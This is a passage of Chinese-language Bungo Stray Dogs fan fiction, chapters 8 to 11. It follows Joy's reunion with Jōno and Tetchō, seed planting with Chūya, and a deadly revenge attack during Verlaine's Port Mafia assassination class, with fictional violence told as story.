“好疼!”他揉了揉手,露出无辜的表情,“我那么努力将你培养成抖M,你怎么还反方向发展了,乔乔?”
8.条野和铁肠
08
既然被认出来了,我也不装了。
“好巧,这不是条野么?长这么高了,真不错,我还记得你以前跟一根萝卜一样高的时候呢。”我迅速寒暄一番后准备开溜,“我还有事先走了,再见。”
条野没给我机会,挡住了我的去路。
“这七年你跑去哪里了?”
“……我出国留学了。”
“哪一国?”
“我外婆的故乡法国。”
“是嘛?”条野若有所思道,“可是我在所有出入境的记录上都没有查到你的证明。”
“……”差点忘了这家伙是犯罪组织的干部了。
“就不能是我偷渡么?”
听到偷渡一词,条野立刻变了脸色,装出一副正义凛然的样子:“你怎么能违法犯罪呢?你太让我失望了!”
“条野,你可没资格教育我。”我没好气地说,“你黑进海关查出入境数据,情况比我严重多了。”
被他质疑违法,不亚于被魏尔伦吐槽性格不好,让人难以接受。
条野“哦”了一声:“那我们不妨报警呗,看看谁的罪行更加严重。”
“你认真的?”他是不记得自己犯罪组织干部的身份了吗?
“罪行更严重的人要无条件服从另一个人的要求。”条野挑挑眉,“乔乔,你敢吗?”
“……我当然敢。”
刚巧马路对面有一队特警经过,虽然不清楚发生了什么案件要出动如此多的警察,但我仍朝他们挥手。
“警察先生!这里,这里有情况!”
特警们倒也积极响应,我一叫他们,他们居然真的全跑了过来。
“条野,我看你还是认输离开吧,毕竟你案底太多了——”
条野单手按在了我的头上,然后将我推到了旁边。
特警们分开两排站立,整齐划一的敬礼,声音洪亮有力:“长官好!”
……长官?
“你们辛苦了。”
我不敢相信地看着以上位者姿态和特警们打招呼的条野。
七年不见,条野变条子了。
这其中一定有阴谋。
难道他被犯罪组织派来警方当卧底了?
咔嚓一声。
我低下头,一只冰冷的黑色手铐铐在了我的手腕上,另一只则连接着条野的手腕。
“乔伊·埃文斯小姐,我以非法出入境、袭警、寻衅滋事等多项罪名逮捕你。”
没一项罪名能站得住脚。
“条野,你这是不动脑子的办案。”
“质疑军警的办案能力,罪加一等。”条野不知道从哪里翻出个小本子,往上面写字,“乔乔,你这次恐怕要把牢底坐穿了。”
“无所谓,我不反感坐牢。”我摊了摊手,“反正我在哪里都能自娱自乐。”
条野笔尖一顿,在纸上拖出一道刺耳的声音。
“你误会我的意思了,我不会把你关进普通的监狱。”
他忽然凑近我的耳边,压低了声音,用只有我们两人能听到的音量说:“我会把你关进我的房间,每天折磨,让你到死都只能见我一个人。”
到死都只能见他一个人……
我承认我被威胁到了。
*
我被条野牵进了咖啡店。
很凑巧,正是我先前准备来的这一家,也算是阴差阳错地喝下午茶了。
条野将菜单推给我:“点你喜欢的。”
“……你怎么突然转性了?”
条野微笑:“日行一善嘛。”
于是我叫来服务生,很阔派地点了摩卡咖啡,布朗尼,芝士条,栗子挞,以及新品试吃的米面包。
条野撑着下巴,听完我点的东西,感慨道:“和以前一样,完全没变呢。”
他说的是我的口味。
“梦想呢?变了吗?”他又问。
我不是很想谈论梦想:“还没到晚上睡觉做梦的时间呢。”
“两位客人,打扰一下,这是你们的餐品。”
“谢谢。”
服务生送来的咖啡和甜点摆了满满一桌。
然而无论我想拿哪一个,条野都会精准地先我一步进行拦截。
“我只是让你点餐,又没说让你吃。”
“……”果然不该相信他的日行一善。
记忆里条野和中也一样不爱吃甜食,他们连摩卡咖啡都嫌甜。
因此他只是在用咖啡勺不断地搅拌咖啡,消磨时间。
“上次见面时我们还是未成年人,现在都二十多岁了。”
他的聊天跨度有点大。
我客气地说:“那希望下次见面时你我都是骨灰形态了。”
“乔乔交男朋友了吗?”
“没有。”我摇摇头,“没有人喜欢我。”
“正常,这年头不长眼睛的男人毕竟稀有。”他笑了一下,“又不是都像我这么倒霉。”
呵呵。
“乔乔的择偶条件是什么?”
“没有条件。”因为我压根没想过择偶。
“没有条件?意思是说什么人都可以了?”
看到条野一脸跃跃欲试的表情,我赶紧临时找条件:“要温柔善良,性格不恶劣的。”
哐——
条野锤了一下桌子:“居然以我为标准,你还真是大胆的女人。”
好家伙,他脸是一点不要了。
我继续将他排除在外:“要没有特殊嗜好,不以折磨人为乐。”
“我也没有特殊嗜好。”条野继续不要脸地自我代入,“我折磨的那些也不算人。”
既然如此,我放大招。
“要眼神明亮,视力好——”
没等我说完,条野在我的额头上用力弹了一下。
好痛!
这人
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下手真没个轻重。
“歧视盲人礼貌吗?”条野十分不满,“你难道忘记了,在你摘走我眼睛的时候,说过什么话?”
我没吭声。
……当然不会忘记。
【我将一生为你引路。】
我和条野曾经是形影不离的青梅竹马。
在他变成毒夫之前,也有过温柔善良的一面。
他看到小鸟的尸体会认真立碑,双手合十虔诚超度,看到蚂蚁在下雨天搬家,会驻足为它们撑伞。
他会和路边的小花小草说话,会用零花钱买小鱼干投喂冬天的流浪猫。
他去参加夏令营时,吃泡泡糖吹出一个破纪录的大泡泡,特意翻山越岭回来给我看,以至于被风吹到了脸上,于是那一整个下午,我都在帮他撕糊在脸上的泡泡糖屑。
那件事我印象极为深刻。
因为撕泡泡糖时,他的眼睛一直注视着我,秋水一样波光粼粼,有着小男孩特有的澄澈。
那时候他还没有失明,我永远可以从那双眼睛里看到星星和自己。
回忆极富有缠绕性又不讲道理,事情过去了那么多年,细节却始终在我的脑海里盘根错节地继续生长。
“骗子。”
桌子下面,条野用与我铐在一起的右手掐了我一下。
“大骗子。”
他的声音像在假装生气,也像真的在生气。
我叹气:“今非昔比,我早已自身难保,能不能让我违背承诺?”
“条野,你现在改邪归正当了军警,不管出于什么原因,至少稳定体面。”
“而我家族没落,资产全数充公,唯一的哥哥也死在了黑手党的纷争里,我连他最后一面也没见到,即使想报仇也完全不具备实力……”
我诉说着生活给我带来的重压,声音逐渐染上哭腔。
条野用牙齿咬下了他左手上的白色手套。
“乔乔。”
他重新伸出脱去手套的手,抚摸我的眼角。
一滴眼泪从眼眶滑落,摔碎在他的指尖。
他将眼泪抹在咖啡杯的杯口。
“很遗憾,你虚伪的眼泪无法感动我。”
然后他沿着那处杯口,慢条斯理地喝了一口咖啡,“不过可以当作调味品。”
“……”
“来啊。”条野脸上的笑容天真到邪恶,“你再哭大声点啊。”
完了,这人已经进化成一个纯变态了。
正在这时,一把长刀朝我们飞了过来,直接击穿了条野手中的咖啡杯。
咖啡溅得桌上到处都是。
条野脸上的笑容终于绷不住了,气得破口大骂:“铁肠先生,你毁了我期待已久的下午茶!”
我顺着收刀的方向看过去,一个俊美的黑发青年在朝我们走来,他穿着和条野同款的红色军衣,面无表情地说:“条野,玩弄女人的眼泪,是要下地狱的。”
9.两种男人
09
末广铁肠的出现,是降临咖啡店的一道正义之光。
他眼角有着美丽的花瓣图案,本该是娇媚之态,却因为他脸上凛然的正义感,而显出了傲雪红梅般的高洁。
“条野,解开手铐。”他冷声道。
条野并不服气:“这件事好像和铁肠先生没关系吧?”
没得到满意的结果,黑发青年手中的军刀再次延长,伴随着一声清脆的咣嚓声,连接我和条野的金属手铐被砍断了。
咖啡店里的其他顾客纷纷投来视线,青年本人面不改色地朝我们走了过来。
“铁肠先生,你居然有脸坐过来?”
青年无视条野的嘲讽,对我说道:“抱歉,我的同事条野给你添麻烦了。”
“条野的恶趣味而已,铁肠大人不必放在心上。”我自我介绍,“我叫乔伊,是条野的青梅竹马。”
“青梅竹马?”铁肠疑惑地问,“不是说是他的未婚妻吗?”
空气有一瞬的停滞。
“条野,你跟同事都乱说了什么?”
白发青年丝毫没有谎言被揭穿的慌乱,他边解开手上的残余手铐边说:“当了军警之后,追求者太多,影响工作,不得不找一个挡箭牌,我也不想的。”
什么叫他也不想的?
得了便宜还卖惨。
“挡箭牌不一定非得说我,你完全可以说其他人。”
“不。”条野摇摇头,“说其他女生会对人家的名声造成影响,妨碍别人交男朋友怎么办?”
“那你就不怕妨碍我吗?”
空气又是一瞬的凝滞。
“刚才不是说过了吗?”
条野单手托腮,望着我的方向,脸上扯出一抹欠扁的笑容。
“你不会再遇到第二个瞎眼的男人了——靠,好痛!铁肠先生请不要戳我的脚!”
“捉弄别人要适可而止。”
铁肠简直就是军警派来专门镇压条野的存在。
他有着一丝不苟的性格和不同于常人的审美。
在看过他用草莓拌辣椒粉和往咖啡里加自备酱油包之后,我沉默了。
条野讽刺道:“铁肠先生,像你这种没有品味的男人,是不会有女孩子喜欢的。”
铁肠淡定地搅拌着咖啡:“你有?”
“我当然有!女孩子们寄给我的情书都堆满收发室了,你没看到过吗?”
“没注意。”
不同于条野的气急败坏,铁肠始终波澜不惊。
“没有品味的男人不会有女孩子喜欢的!”
铁肠喝着酱油咖啡,淡淡地哦了一声。
“会有的。”这次轮到我为铁肠发声了,毕竟人家帮我教训了条野,“总有人会欣赏铁肠先生的奇奇怪怪,陪着他一起可可爱爱。[1]”
条野作出呕吐状:“我要吐了。”
“乔伊小姐,”铁肠认真地看着我,“你要试试吗?”
“好的。”
“不可以!”条野替我拒绝道,“就算没有好男人看上她,她也不能和铁肠先生试试!”
反应过来自己失态了,条野又解释道:“你们俩都不受欢迎,那么以后你们的小孩该有多不受欢迎啊,这也太残酷了。”
“小孩?哪来的小孩?”铁肠晃了晃杯子,“我只是推荐她试试我的酱油咖啡。”
条野一下子囧成了包子脸:“是这个试试啊。”
“说了这么多话,条野一定口渴了,那么第一口让你先试。”
不等白发青年答应,我将咖啡杯递到了他的嘴边,往里一倒——
“啊——”条野发出一声痛苦的惨叫。
事实证明,酱油咖啡,试试就逝世。
喝完下午茶已经到了黄昏时分,我打算回家了。
“乔乔,你现在在做什么?”分开时,条野问我。
望着他一身深红的军服和别在腰间的军刀,我忽然很想逗逗他。
“我在做一个杀人计划。”
铁肠朝我投来诧异的目光,条野的表情却出奇的平静。
我还以为他会立刻掏出新的手铐将我逮捕。
“军警大人不打算逮捕我吗?会出现受害者哦。”
条野越是平静,我就越想逗他。
……这也是恶趣味吧,我心想。
“乔伊小姐,放弃这个计划,你若有难处可以向我们猎犬寻求帮助。”铁肠给出一板一眼的回答。
这也是军警应该有的回答。
“乔乔想杀就杀吧。”条野突然开口说,“只要杀的人不是我的青梅竹马,那么无论要杀谁,要杀多少,我都无所谓。”
他的语气稀疏平常,仿佛是在谈论横滨明日的天气。
“条野,你这是在怂恿犯罪。”
铁肠的脸上终于出现了从下午到此刻唯一的一丝表情。
“冷静点,乔伊小姐,会有更好的解决方式。”
恪守规则的军警只剩下了铁肠一人。
但这已经不重要了。
我望着那张熟悉的脸,轻声说:“条野,我长大了。”
条野也轻轻嗯了一声:“我知道。”
“你也长大了。”
“嗯,我知道。”
七年的时光,把他从一个在犯罪组织中迷茫的少年,变成了一个以保护民众为己任的军警。
“条野,你看看我。”
他脸上的笑容愈发柔和。
“……可我是个瞎子,要怎么看?”
“这样呢。”
我握住他的手,按在了自己的脸上。
他的手指依次从我的眉毛,眼睛,鼻子依次抚过。
夕阳的余晖落在他的眼皮上,金光灿灿,他看上去像是有了一双金色的眼睛。
我猛然记起他原本的眼睛就是金色的。
在这道金光里,我仿佛看见废墟变为高楼,流星重新飞回了天空。
“看到了。”条野发出一声叹息。
一声很轻的、余味悠长的叹息。
“我看到了一张猪脸。”他摇摇头,“岁月真是把杀猪刀,乔乔,你完蛋了。”
“你才完蛋!铁肠先生,用刀戳他!狠狠地戳他屁股!”
*
从横滨步行街回到Mafia公寓,我前脚刚踏进院子,就看到了坐在秋千上的黑色人影。
对方正在和秋千架上的一只小鸟表演大眼瞪小眼。
“晚上好,中也大人。”我好奇地问道,“发生什么事了吗?”
“这只可恶的鸟在浪费柿子。”中也皱眉,“已经给它喂过两个了,它还在其他柿子上每个啄一口。”
我走近观察,果然有十几个柿子上都出现了被啄过的痕迹。
我又看了看中也和小鸟。
中也很生气,小鸟同样气鼓鼓地竖着羽毛。
有意思。
连昂贵的宝石和手表都可以慷慨赠予他人的Mafia干部,居然会为了几个柿子和小鸟吵架。
“中也大人不要生气啦,柿子又不值钱。”我笑。
“但它们是你努力种出来的。”他低声说道。
心被一触。
我见过太多丧心病狂的破坏狂和愉悦犯,他们擅长毁坏别人的珍视之物,并以此为乐。
而面前的青年作为异能强大的重力使,内核却格外柔软,十分懂得保护别人的劳动成果。
“小鸟先生这样做,是因为喜欢中也大人。”
闻言,青年撇嘴:“不要胡说。”
小鸟也叽叽地叫了两声。
“没有胡说,因为它喜欢中也大人,所以才把树上最好吃的柿子全部找出来,献给中也大人。”
我摘下一个被啄过的柿子,递给中也,“您看,是不是很棒的礼物?”
成熟后的柿子红得像宝石,被啄过的那一块露出里面晶莹的果肉,流淌出甜丝丝的气息。
中也的脸上也露出了柿子一样的红晕,别扭地说:“不要说得你像能听懂鸟说话似的。”
“就是能听懂。”我想了想,“中也大人还没吃晚餐吧?那我们今晚就用小鸟先生的礼物来做料理,看看味道如何?”
不等中也答应,我又摘下一个柿
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子,对小鸟说道:“中也大人说他也喜欢你,你们是双向奔赴。”
中也:“喂!”
原本炸毛的小鸟竟然真的不再啄食柿子,转而飞到了墙上梳理羽毛。
“中也大人,来吧,请帮我摘柿子。”
“哦,好。”
由于中也不喜欢吃甜食,我便只做了味道清甜的柿子烩饭和用柿子酱调味的煎青花鱼,外加两杯柿子咖啡。
柿子的甜味正好柔和了咖啡的苦味,连我这种嗜甜的人都觉得味道不错。
一抬头,看见中也正在和盘子里的煎青花鱼大眼瞪小眼。
“中也大人,您不喜欢青花鱼吗?”
“我怎么可能喜欢那种——”
意识到自己情绪过于激动了,中也轻咳了两声:“……吃的青花鱼,不讨厌。”
吃的青花鱼?难道还有玩的青花鱼?
我想起中也喝得烂醉如泥的那天晚上,嘴里也是一直咒骂着青花鱼。
而我也是用“青花鱼大人”作为对照组,哄骗醉酒的中也乖乖脱衣服洗澡的。
我对那位绰号青花鱼的人更好奇了。
“晚餐合您的口味吗?”
“还不错。”中也抽出一张纸巾擦嘴,“每样都挺好的,我以前没有吃过这种别出心裁的料理。”
他把接地气的普通料理说成是别出心裁。
“这得归功小鸟先生。”
“明明是你自己的功劳,哎,算了。对了,”中也突然想起了什么,“我从菲律宾带了东西给你。”
他从口袋里掏出一把红色的碎宝石。
“诶?我也有伴手礼吗? ”
见我惊讶,他解释道:“这不是宝石,是种子。”
“种子?我喜欢种子。”我从惊讶变成了惊喜,“我喜欢这种需要慢慢照顾和等待的东西。”
“猜到了。”中也微笑,“在菲律宾的街头偶然看到的花,和你的名字一样,就买了一些种子。”
“叫乔伊花吗?开出来是什么颜色?红的?绿的?蓝的?”
“五颜六色。”
“哇,那一定很好看,我要快点种出来。”我放下勺子,迫不及待地跑进院子里挑种花的地方。
“你好歹先把饭吃完啊。”中也跟在了我身后出来。
我转过头问:“有没有名字叫中也大人的花?”
“不可能有的。”中也笑了笑,“哪有花叫这种奇怪的名字。”
“要是有就好了,就可以种在乔伊花的旁边,每天一起看日出和月亮了。”
中也微微一怔,然后伸手压了压帽子。
帽沿虽然压低了,但他的嘴角却上扬了。
我指着一棵草说:“决定了,以后那棵就叫中也大人花。”
“喂,那是棵狗尾巴草吧。”
虽然中也不满意自己的“中也大人花”如此普通,但还是陪我在狗尾巴草的旁边挖了坑,然后将乔伊花的种子埋了进去,盖上土铺平。
“中也大人,我去上网查一下多久浇一次水。”
“一星期一次,我问过店家了。”中也回答道,“它的适应能力很强,也不挑剔气候和土地。”
顿了顿,他又低声说:“希望它在黑手党里也会开出美丽的花。”
我平静地看着对着种子和土地轻声细语的橘发青年。
院子里的地灯映照他的侧脸,像是铺洒在白瓷上的流金。
中也见我一动不动盯着他,迟疑地问:“我脸上有什么吗?”
“中也大人偏心。”
“哈?”他发出一声气音。
“中也大人最偏心了!”
面对我的控诉,青年颇感无奈:“除了你,我只给红叶大姐带了一瓶酒,那也算不上偏心吧。”
我指了指被埋好的种子:“同样叫乔伊,您却只给它祝福。”
“……”
中也停顿了片刻,忽而伸出手,下定决心般的,在我的头上轻轻抚摸了一下。
“好了好了。”他温柔的用带着几分哄小孩的语调说,“这边的乔伊也会好好长大。”
10.魏尔伦被寻仇
10
我又一次在魏尔伦面前出丑了。
全都怪条野。
在咖啡店里,他点了超级多的甜食,然后一口没吃,连同铁肠点的那份也一并打包,让我带了回来。
甜食保质期短,我吃不完,中也不爱吃,我分了一些给爱丽丝和织雪,还有剩的,便在上课前带去了地下室。
“这是中也大人百忙之中抽空为您选购的,他很在意魏尔伦大人呢,你们兄弟感情真好。”
金发男人瞥了我一眼,表情阴晴不明。
我心虚地偏过脸,假装看墙,心想要是说这是别人送我的,他估计会更嫌弃。
“贪吃的小肥猪——”
听到魏尔伦用冷漠低沉的嗓音,说出这么恶俗的话,我震惊地转过头。
他两指夹着一张纸条,正在阅读。
显然,那张纸条是条野偷偷塞进袋子里的。
可恶,我分甜食的时候怎么没发现有这张纸条!
“还吃呢,你要不要称称自己现在多重。”
魏尔伦平静地读完了纸条上的内容,我的头已经抬不起来了。
中也不可能写出这种话,我的谎言不到一分钟就不攻自破了。
魏尔伦懒得骂我,放下纸条后继续翻阅他的书。
自从上次中也来过后,他就不怎么骂我了。
对我的态度近乎无视。
我拿来地下室给他吃的柿子,我放哪里就烂在哪里,我拿来给他看的诗集,他连翻都没翻开一下。
魏尔伦精心教导其他同期生,态度十分严厉。唯独对我,不管我学成什么样子,他都不作要求。
“抱歉,魏尔伦大人。”我解释道,“这张纸条其实是别人写给我的。”
“看得出来。”
看得出来?……怎么感觉他在阴阳我。
还没到上课的时间,魏尔伦不吃,我自己找了张椅子坐下吃了起来。
脆脆的白巧克力包裹草莓夹心,搭配茶壶里的青梅茶,酸酸甜甜十分美味。
冷藏过的流心蛋挞也很好吃,有种介于布丁和奶酪之间的口感。
我正吃得心满意足,忽然听到魏尔伦说:“你要不要称称自己现在多重。”
“……”嘴里的蛋挞瞬间不香了。
他指尖一捏,啪的一声合上了书本。
“上课。”
今天魏尔伦讲课的内容是近身瞬杀。
连同我在内,一共有五名学生。
“你,”他朝我抬了抬下巴,“过来。”
“是,老师。”我站了过去。
有其他人在场,我不能叫他魏尔伦大人,只能叫老师。
“这里是哪里?”
他手中的教棍在我的颈部轻轻划过。
……有点痒。
我张口回答:“脖子。”
“哈哈。”一个少女当场笑了出来。
教棍的顶端在我的骨头上一顿。
“这里呢?”
“还是脖子啊。”
“哈哈哈——”那个少女再次笑出了声,其他人也跟着偷偷笑了,只有一个少年没笑,低声骂了句愚蠢。
我记得他叫米隆,是我们这个班各项成绩都最好的学生。
最差的是我,因此米隆很不待见我。
“你告诉她。”魏尔伦将教棍递给了他。
少年米隆接过教棍,在我的脖子上用力一戳。
“这里是颈总动脉。”
“这里是第四神经前脉。”
他戳了我好几下,我严重怀疑如果他手里拿的不是教棍而是刀,我都被一刀封喉了。
“你上课到底有没有在听?”米隆问我。
“……听了一些。”我基本只听我感兴趣的部分。
“老师在Mafia里是人人敬仰的前辈,能得到他的授课机会,是无上的荣耀。”米隆警告道,“你给我专心一点。”
“是!”
面对米隆的认真和我的散漫,魏尔伦都没有什么特别的反应。
“下面是实训。”
实训需要杀人。
Mafia的地下室里,关押着许多用来当小白鼠的俘虏。
魏尔伦给我们一人安排了一名俘虏,他们手脚被绑,嘴里也塞上了布,似乎因为预见自己接下来的悲惨命运,他们的眼神里充满恐惧。
“实际目标通常是活动自如的,但今天只是为了让你们熟悉匕首的瞬杀区域。”魏尔伦顿了顿,“露易斯,将他一击毙命。”
伴随着他话里的最后一个字落下,少女露易斯的匕首已经架上了俘虏的脖颈。
匕首折射出银光的一瞬间,我仿佛看到了划破天际的黎明。
鲜血喷了一地,俘虏剧烈抽动着,很快没了声息。
露易斯穿的是黑西装,一部分血溅在上面,很快便没入了颜色更深的衣料中。
魏尔伦挑挑眉,没评价,来到了第二位俘虏面前。
“米隆,让他全身瘫痪。”
二号俘虏闻言抖得像个筛糠,全身瘫痪还不如一击毙命。
但此刻没人给他选择权。
对应的神经不同,出手带来的结果也不同。
米隆的刀功精细程度令人惊叹。
魏尔伦也难得地夸了一句:“不错。”
少年的腰身挺得笔直,还不忘朝我投来得意的眼神。
我有些莫名其妙地挠了挠头,他似乎找错了竞争对手。
第一名和最后一名有什么好比的。
四个人都完成了实训,轮到我时,面前只剩下了一个……小男孩。
男孩看上去不过才七八岁。
“老师,这个是不是抓错了?”我看着魏尔伦问。
魏尔伦面无表情地盯着男孩。
“杀了他。”
男孩吓得瑟瑟发抖,一听自己被宣判死刑,紫红色的眼睛里涌出了许多眼泪。
“要不然等他长大点吧?”我试探地问道。
“让你杀就杀,哪来这么多废话?”米隆催促道。
男孩冲我使劲摇头,嘴里发出呜呜的哀求声。
“老师,抱歉,这节课还是算我不及格吧。”
我扔下了匕首,魏尔伦已经失去了耐心。
“下课。”
变故是在这个瞬间发生的。
地下室的灯突然全部熄灭,视野里一片漆黑。
我的耳边传来了脖颈被匕首割开的声音,接着我听到露易斯发出了一声惨叫。
“露易斯?”我叫了一声。
地下室响起了喉骨一刀一刀被割开的声音,以及同学们的惨叫声。
“米隆?”
“小泽?”
没有人理我。
“老师?”
“嗯。”
喊到最后,只有魏尔伦回应了我。
地下室里有了亮光。
魏尔伦手里举着一根蜡烛。
灯火的光芒将他笼罩在一方光明之中,随着他的脚步,在墙上投下晃动的剪影。
“米隆。”他平静地说,“现在的你还不是我的对手。”
米隆?
我终于看到了周围的情况,除了米隆,那个男孩和我,其他人全都倒在了血泊里。
大家在黑暗中被精准割喉,米隆简直强得像个怪物。
“我对人体十分熟悉,但这和老师您无关。”他解释道,
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“我的哥哥是一名外科医生,这些都是他生前教我的。”
魏尔伦问了一声:“是么?”
“我来到港口Mafia,等的就是这一天。”米隆恨恨地说,“为我的哥哥报仇。”
“我查了七年,才查到他真正的死因,他根本不是死于意外爆炸,港口Mafia骗了我,他是被虐杀的,凶手就是你,超越者!”
他不再叫魏尔伦老师,而叫他超越者。
旁边的男孩也解开了束缚,脸上的表情在烛光下才真实起来。
——他并非孩童。
他是一个货真价实的成年男人,只是身材矮小,长了一张娃娃脸。
“我曾经有一个女儿。”男人以一副陷入回忆的口吻说道,“她不像我只有十五拳高,她很漂亮,异能力也很出色,她在Mafia很有人气,她是我的全部,可是——”
话锋一转,男人露出了痛苦的神色。
“她被你杀死了!”
“她死在了她刚订婚的那一年!她都打算退出Mafia去过普通人的生活了,她明明可以得到幸福!”
“超越者,你夺走了我的一切!”
面对两人的激情控诉,魏尔伦不耐烦地开口道:“说完了?”
“你到底有没有心?”
“去地狱向我女儿谢罪吧!”
两人同时朝魏尔伦攻了过去。
这是一场赌上性命的复仇。
不,不止是性命。
他们在来到这里之前,早已穷尽一切追查真相,为这次的行动献出了全部。
矮个男人率先被魏尔伦踢飞出去,扑腾了两下后,想要爬却爬不起来。
他甚至不是个异能力者。
他只是个普通人,一个想要为女儿复仇的父亲,仅此而已。
从他身上摔出了一根金属项链,他伸出手想要去够项链。
我走过去,捡起项链。
项链很普通,上面有一朵金属玫瑰,小巧可爱。
“卡莲,爸爸对不起你……”男人的胸口被魏尔伦开了一个大洞,鲜血直冒,他望着我的方向,喃喃道,“爸爸真没用……”
我将项链放到了他的手上:“卡莲小姐会释怀的,她有一个全世界最勇敢的爸爸。”
他终于含笑而逝。
然而战斗还没有结束。
米隆的暗杀技术在同龄人里出类拔萃,但魏尔伦毕竟是恶名昭著的暗杀王。
他没用全力,却不是因为对方是自己的学生而手下留情,他根本不在意。
他的学生一天之内全部被杀,他不在意。
他被人找上门来寻仇,他不在意。
外面是晴天阴天,刮风下雨,夏天还是冬天,他一律不在意。
就仿佛,能被他在意的东西压根不存在于这个世界上了。
“超越者,杀了那么多无辜的人,你到底有没有后悔过?”
米隆问出了一个在电影里经常出现的问题。
电影里的反派通常会哈哈大笑,然后再嘲笑提问者。
但魏尔伦没有笑。
他在少年极力嘶吼的叫声中,平静地说道:“没有后悔过杀人。”
……
当中也赶来地下室时,这里恢复了照明,魏尔伦也已经离开了。
“乔伊,乔伊!”
我从满地的尸体里抬起头,望着满脸焦急的青年。
“你没事吧?”
“中也大人,我没事。”我拍拍自己的衣服,摇摇晃晃地站起来,“但是大家都死了。”
同学死了,俘虏死了,卡莲的父亲死了,为兄长报仇的米隆也死了。
“只有我一个人活了下来。”
11.11
11
“中也先生,米隆先生身上没有外伤,他的死因是突发心脏病。”港口Mafia的医生经过解剖,给出了结论。
令人很意外,米隆居然不是魏尔伦杀死的。
中也听着医生的汇报,出神地望着窗外。
窗外只有茫茫的夜色。
他维持着一个斜靠着窗台的姿势,已经快一个小时了。
……不知道他在想什么。
……也不知道他为什么会对杀手米隆的事格外上心。
“中也大人,中也大人——”
在医生第三遍叫他的时候,他才回过神来。
“知道了。”他抬起眼眸,又对我说道,“我去工作了,你有事就叫亚瑟。”
“中也大人不用担心。”我摸了摸脖子上的绷带,“伤口已经完全不痛了。”
作为这个班唯一的幸存者,我也被割开了脖子。
幸运的是没伤到大动脉,出血量不致命,只需要静养一周。
“乔伊。”中也犹豫了一下,问,“你有没有想过离开港口Mafia?”
他问出这个问题,我并不意外。
黑手党是高危中的高危,而我本人在异能和体术上都不具备优势。
“或者不离开,换个文职岗位,秘书,会计之类的。”
“中也大人是在嫌弃我吗?”
“不是。”他叹气,“下次你可能不会这么走运了。”
他的神态很疲惫。
明明早晨还神采奕奕,在院子里喂了小鸟,给乔伊花浇了水。
现在却像是遇到了天大的糟心事。
“在港口Mafia,死亡是一件很平常的事。”我试图安慰他,“有可能这个星期我们还在一起吃晚饭,下个星期您就在参加我的葬礼了。”
中也完全没有被安慰到,瞪了我一眼:“瞎说什么呢?”
“我的意思是我们都会有死亡的一天——”
“行了。”他打断了我的解释,“伤好后自己去财务部报道,不准再去地下室了。”
不准。
这是我自认识中也以来,第一次见到他态度强势的一面。
中也离开后,亚瑟给我送来了一个果篮:“你一个女孩子,去财务部当个会计不挺好的吗?”
“我不会算账。”
“那去Mafia的餐厅当厨师呢?”
“我不会做饭。”
“……乔伊,看着我的眼睛。”亚瑟拿起一个苹果,边削边说,“人有信仰很正常,你可能觉得加入黑蜥蜴比较风光,但中也大人是干部,我们做下属的,要绝对服从上级的命令。”
我心不在焉地哦了一声。
“还有,你不要在中也大人面前说死不死的。”
他将削好的苹果递过来,我刚伸手要接,他又收了回去。
我:“……”
他咔嚓咔嚓地咬着苹果:“这是对你的惩罚,看着我吃吧。”
直到吃完苹果,亚瑟才轻声说道:“大人的一生经历过太多次离别了。”
看多了男人迷糊的一面,极少看到他如此认真的样子。
“……是么?”
“他希望我们活得久一点,我们都在努力不给他添麻烦,所以乔伊,你也要好好活下去。”
——大人的一生经历过太多次离别了。
我回味着亚瑟的这句话。
他十分尊敬中也,也十分心疼中也。这在Mafia很罕见,最起码不会有人心疼森鸥外是否孤独。
“乔伊酱~”
真是想到什么来什么。
眼角余光瞥见森鸥外在门口探头探脑,我迅速躺倒,假装睡觉。
森鸥外当然不会识趣,嘴角勾起一抹冷笑,走了进来。
亚瑟赶忙起身:“首领大人。”
“可怜的乔伊酱,一个同学都没有了,很寂寞吧。”
一根冰凉的手指触到了我的脸颊。
我睁开眼睛,望着那双紫红色的眼眸问道:“那森先生要来当我的同学陪我吗?”
“这是邀请么?”
“算是吧。”
“呵。”
他笑了一声,手指抚过我的下巴,一路往下来摸到了脖颈。
一旁的亚瑟磕磕巴巴:“首领大人,乔伊她——”
森鸥外瞥了他一眼:“你要在这里看下去吗?”
绝对服从首领的命令是港口Mafia最大的原则。
连亚瑟的上司中也都不能违背,亚瑟自然也不敢。
但他走得很慢,似乎他走得再慢一点,我和森鸥外就能良心发现,停止苟且。
“森先生真的想成为魏尔伦大人的弟子吗?”我又问了一遍。
“还是算了。”森鸥外撇嘴,“我很怕那位暗杀王,他的能力曾令Mafia元气大伤。”
“放心吧,他现在对杀人失去了兴趣。”地下室今天虽然死了很多人,但凶手并不是魏尔伦,“俘虏是被同学杀死的,同学是被米隆杀死的,而米隆本人死于心脏病。”
森鸥外扬了扬眉:“不是有个例外吗?”
“您是指卡莲小姐的父亲吗?他是操作不当被弹回的刀片穿胸了。”
“不,我是指乔伊酱。”
脖子上的绷带被他一抽,解开了。
男人凑近,低头观察伤口。
……太近了。
“您这样让我很难堪。”
男人温热的呼吸慢条斯理地洒在我刚刚裸露的皮肤上。
“倘若中也君抛开男女间的礼节,一定会发现,”森鸥外顿了顿,“乔伊酱是自己割开了脖子。”
“……”
“要避开所有会致命的地方,又要保证出血量足够吓人,实际上乔伊酱才是这个班最优秀的学生。”
森鸥外重新替我系上绷带,“Mafia情报部门查到米隆君的异能是等价交换。”
“哦?听上去很厉害的样子。”
“不过暂时没查明异能发动的条件,以下纯属我个人猜测。”森鸥外说道,“他的兄长多年前死于暗杀王之手,但他在其他组织做了七年的走私才来Mafia寻仇,我推测他在积攒金钱交换暗杀王的情报。”
“那他为什么不直接交换魏尔伦大人的性命呢?”
“交换的价值太高,暗杀王可是令整个Mafia都损失惨重的存在。”
“等价交换,好可怕的异能。”我感慨道,“如果是大富豪拥有这种异能,该会是多少人的灾难?”
“异能本就是天灾。”森鸥外单手托腮,“还可能会演变成人祸。”
“那他最后是用性命换了魏尔伦大人的性命吗?”
“按理说暗杀王没死,没有达成等价交换的条件,米隆君也不会死。除非——”森鸥外颇有深意地看了我一眼,“他交换的不是暗杀王的性命,而是其他东西。”
片刻后,我伸出右手,掌心朝上,上面印有一串看不懂的黑色符文。
“一切都瞒不过森先生,米隆强制和我做了交换,让我继承他的遗志。”
“他也看出乔伊酱天赋异禀了?”
“我哪有天赋?”我叹息道,“是他认定我和魏尔伦大人有一腿。”
地下室的照明电路被破坏后,米隆杀死其他同学,却唯独放过了我。
因为我是他选中的棋子。
“好可怜,简直是无妄之灾。”森鸥外假惺惺地表达了同情,“那你现在打算怎么做呢?”
“先把中也大人给我的红包花光,免得像我哥那样死后被充公。”
